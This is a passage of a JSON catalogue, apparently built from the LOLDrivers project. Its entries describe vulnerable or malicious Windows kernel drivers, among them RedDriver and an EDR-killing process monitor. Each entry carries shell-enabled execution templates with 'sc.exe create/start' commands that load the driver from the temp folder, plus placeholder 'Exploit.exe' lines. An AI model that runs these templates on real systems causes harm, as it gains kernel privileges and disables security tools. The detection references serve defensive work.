    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create spf.sys binPath=C:\\\\windows\\\\temp\\\\spf.sys type=kernel && sc.exe start spf.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver spf.sys\"\n\n# spf.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-spf.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-spf",
    "name": "spf.sys",
    "namespace": "windows:kernel:spf",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create spwizimgVT.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\spwizimgVT.sys type=kernel && sc.exe start spwizimgVT.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver spwizimgVT.sys\"\n\n# spwizimgVT.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021.\nRedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies.\nCode from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader.\nThe authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system.\nThis threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-spwizimgvt.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create spwizimgVT.sys binPath=C:\\windows\\temp\\spwizimgVT.sys type=kernel && sc.exe start spwizimgVT.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-spwizimgvt",
    "install": [
      {
        "method": "custom",
        "description": "Load spwizimgVT.sys kernel driver",
        "commands": [
          "sc.exe create spwizimgVT.sys binPath=C:\\windows\\temp\\spwizimgVT.sys type=kernel && sc.exe start spwizimgVT.sys"
        ]
      }
    ],
    "name": "spwizimgVT.sys",
    "namespace": "windows:kernel:spwizimgvt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create srswdrv binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\srswdrv.sys type=kernel && sc.exe start srswdrv\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver srswdrv.sys\"\n\n# srswdrv.sys\n\nsrswdrv.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-srswdrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "srswdrv.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create srswdrv binPath=C:\\windows\\temp\\srswdrv.sys type=kernel && sc.exe start srswdrv",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-srswdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load srswdrv.sys kernel driver",
        "commands": [
          "sc.exe create srswdrv binPath=C:\\windows\\temp\\srswdrv.sys type=kernel && sc.exe start srswdrv"
        ]
      }
    ],
    "name": "srswdrv.sys",
    "namespace": "windows:kernel:srswdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SSPORT.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SSPORT.sys     type=kernel && sc.exe start SSPORT.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SSPORT.sys\"\n\n# SSPORT.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ssport.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create SSPORT.sys binPath=C:\\windows\\temp\\SSPORT.sys     type=kernel && sc.exe start SSPORT.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-ssport",
    "install": [
      {
        "method": "custom",
        "description": "Load SSPORT.sys kernel driver",
        "commands": [
          "sc.exe create SSPORT.sys binPath=C:\\windows\\temp\\SSPORT.sys     type=kernel && sc.exe start SSPORT.sys"
        ]
      }
    ],
    "name": "SSPORT.sys",
    "namespace": "windows:kernel:ssport",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/VoidSec/Exploit-Development/tree/b82b6d3ac1cce66221101d3e0f4634aa64cb4ca7/windows/x64/kernel/ssport_v1.0"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create stdcdrv64sys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\stdcdrv64sys.sys type=kernel && sc.exe start stdcdrv64sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver stdcdrv64.sys\"\n\n# stdcdrv64.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-stdcdrv64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create stdcdrv64sys binPath= C:\\windows\\temp\\stdcdrv64sys.sys type=kernel && sc.exe start stdcdrv64sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-stdcdrv64",
    "install": [
      {
        "method": "custom",
        "description": "Load stdcdrv64.sys kernel driver",
        "commands": [
          "sc.exe create stdcdrv64sys binPath= C:\\windows\\temp\\stdcdrv64sys.sys type=kernel && sc.exe start stdcdrv64sys"
        ]
      }
    ],
    "name": "stdcdrv64.sys",
    "namespace": "windows:kernel:stdcdrv64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create stdcdrvws64sys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\stdcdrvws64sys.sys type=kernel && sc.exe start stdcdrvws64sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver stdcdrvws64.sys\"\n\n# stdcdrvws64.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-stdcdrvws64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create stdcdrvws64sys binPath= C:\\windows\\temp\\stdcdrvws64sys.sys type=kernel && sc.exe start stdcdrvws64sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-stdcdrvws64",
    "install": [
      {
        "method": "custom",
        "description": "Load stdcdrvws64.sys kernel driver",
        "commands": [
          "sc.exe create stdcdrvws64sys binPath= C:\\windows\\temp\\stdcdrvws64sys.sys type=kernel && sc.exe start stdcdrvws64sys"
        ]
      }
    ],
    "name": "stdcdrvws64.sys",
    "namespace": "windows:kernel:stdcdrvws64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create STProcessMonitor binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\STProcessMonitor.sys type=kernel && sc.exe start STProcessMonitor\"\n\n# STProcessMonitor.sys\n\nSafetica Technologies process monitoring kernel driver vulnerable to BYOVD-style process termination via IOCTL. CVE-2025-70795. 18 execution parents observed in VirusTotal indicating active abuse by threat actors. 1/73 detections. Driver facilitates arbitrary process kill from kernel context, enabling EDR/AV bypass.\n\n**Use Case:** Disable security tools\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1562.001\n",
    "_source": "windows-kernel-stprocessmonitor.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Safetica Technologies process monitoring kernel driver vulnerable to BYOVD-style process termination via IOCTL. CVE-2025-70795. 18 execution parents observed in VirusTotal indicating active abuse by threat actors. 1/73 detections. Driver facilitates arbitrary process kill from kernel context, enabling EDR/AV bypass.",
    "execution": {
      "template": "sc.exe create STProcessMonitor binPath=C:\\windows\\temp\\STProcessMonitor.sys type=kernel && sc.exe start STProcessMonitor",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root",
      "stealth",
      "streaming"
    ],
    "id": "windows-kernel-stprocessmonitor",
    "install": [
      {
        "method": "custom",
        "description": "Load STProcessMonitor.sys kernel driver",
        "commands": [
          "sc.exe create STProcessMonitor binPath=C:\\windows\\temp\\STProcessMonitor.sys type=kernel && sc.exe start STProcessMonitor"
        ]
      }
    ],
    "name": "STProcessMonitor.sys",
    "namespace": "windows:kernel:stprocessmonitor",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.cve.org/CVERecord?id=CVE-2025-70795"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/268"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create superbmc.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\superbmc.sys type=kernel && sc.exe start superbmc.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver superbmc.sys\"\n\n# superbmc.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-superbmc.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/f8430bdc6fd01f42217d66d87a3ef6f66cb2700ebb39c4f25c8b851858cc4b35.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create superbmc.sys binPath=C:\\windows\\temp\\superbmc.sys type=kernel && sc.exe start superbmc.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-superbmc",
    "install": [
      {
        "method": "custom",
        "description": "Load superbmc.sys kernel driver",
        "commands": [
          "sc.exe create superbmc.sys binPath=C:\\windows\\temp\\superbmc.sys type=kernel && sc.exe start superbmc.sys"
        ]
      }
    ],
    "name": "superbmc.sys",
    "namespace": "windows:kernel:superbmc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SvIoCtrlx64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SvIoCtrlx64.sys type=kernel && sc.exe start SvIoCtrlx64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SvIoCtrlx64.sys\"\n\n# SvIoCtrlx64.sys\n\nSvIoCtrlx64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-svioctrlx64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "SvIoCtrlx64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create SvIoCtrlx64 binPath=C:\\windows\\temp\\SvIoCtrlx64.sys type=kernel && sc.exe start SvIoCtrlx64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-svioctrlx64",
    "install": [
      {
        "method": "custom",
        "description": "Load SvIoCtrlx64.sys kernel driver",
        "commands": [
          "sc.exe create SvIoCtrlx64 binPath=C:\\windows\\temp\\SvIoCtrlx64.sys type=kernel && sc.exe start SvIoCtrlx64"
        ]
      }
    ],
    "name": "SvIoCtrlx64.sys",
    "namespace": "windows:kernel:svioctrlx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create sysconpsys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\sysconpsys.sys type=kernel && sc.exe start sysconpsys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver sysconp.sys\"\n\n# sysconp.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sysconp.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create sysconpsys binPath= C:\\windows\\temp\\sysconpsys.sys type=kernel && sc.exe start sysconpsys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-sysconp",
    "install": [
      {
        "method": "custom",
        "description": "Load sysconp.sys kernel driver",
        "commands": [
          "sc.exe create sysconpsys binPath= C:\\windows\\temp\\sysconpsys.sys type=kernel && sc.exe start sysconpsys"
        ]
      }
    ],
    "name": "sysconp.sys",
    "namespace": "windows:kernel:sysconp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SysDrv3S.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SysDrv3S.sys type=kernel && sc.exe start SysDrv3S.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SysDrv3S.sys\"\n\n# SysDrv3S.sys\n\nVulnerable driver found in https://github.com/hfiref0x/KDU.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sysdrv3s.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Vulnerable driver found in https://github.com/hfiref0x/KDU.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/0e53b58415fa68552928622118d5b8a3a851b2fc512709a90b63ba46acda8b6b.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create SysDrv3S.sys binPath=C:\\windows\\temp\\SysDrv3S.sys type=kernel && sc.exe start SysDrv3S.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "network-intensive",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-sysdrv3s",
    "install": [
      {
        "method": "custom",
        "description": "Load SysDrv3S.sys kernel driver",
        "commands": [
          "sc.exe create SysDrv3S.sys binPath=C:\\windows\\temp\\SysDrv3S.sys type=kernel && sc.exe start SysDrv3S.sys"
        ]
      }
    ],
    "name": "SysDrv3S.sys",
    "namespace": "windows:kernel:sysdrv3s",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/55#issuecomment-1537161951"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SysFile_X64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SysFile_X64.sys type=kernel && sc.exe start SysFile_X64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SysFile_X64.sys\"\n\n# SysFile_X64.sys\n\nSysFile_X64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sysfile-x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "SysFile_X64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create SysFile_X64 binPath=C:\\windows\\temp\\SysFile_X64.sys type=kernel && sc.exe start SysFile_X64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-sysfile-x64",
    "install": [
      {
        "method": "custom",
        "description": "Load SysFile_X64.sys kernel driver",
        "commands": [
          "sc.exe create SysFile_X64 binPath=C:\\windows\\temp\\SysFile_X64.sys type=kernel && sc.exe start SysFile_X64"
        ]
      }
    ],
    "name": "SysFile_X64.sys",
    "namespace": "windows:kernel:sysfile-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SysInfo.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SysInfo.sys type=kernel && sc.exe start SysInfo.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SysInfo.sys\"\n\n# SysInfo.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sysinfo.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create SysInfo.sys binPath=C:\\windows\\temp\\SysInfo.sys type=kernel && sc.exe start SysInfo.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-sysinfo",
    "install": [
      {
        "method": "custom",
        "description": "Load SysInfo.sys kernel driver",
        "commands": [
          "sc.exe create SysInfo.sys binPath=C:\\windows\\temp\\SysInfo.sys type=kernel && sc.exe start SysInfo.sys"
        ]
      }
    ],
    "name": "SysInfo.sys",
    "namespace": "windows:kernel:sysinfo",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SysInfoDetectorX64sys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SysInfoDetectorX64sys.sys type=kernel && sc.exe start SysInfoDetectorX64sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SysInfoDetectorX64.sys\"\n\n# SysInfoDetectorX64.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
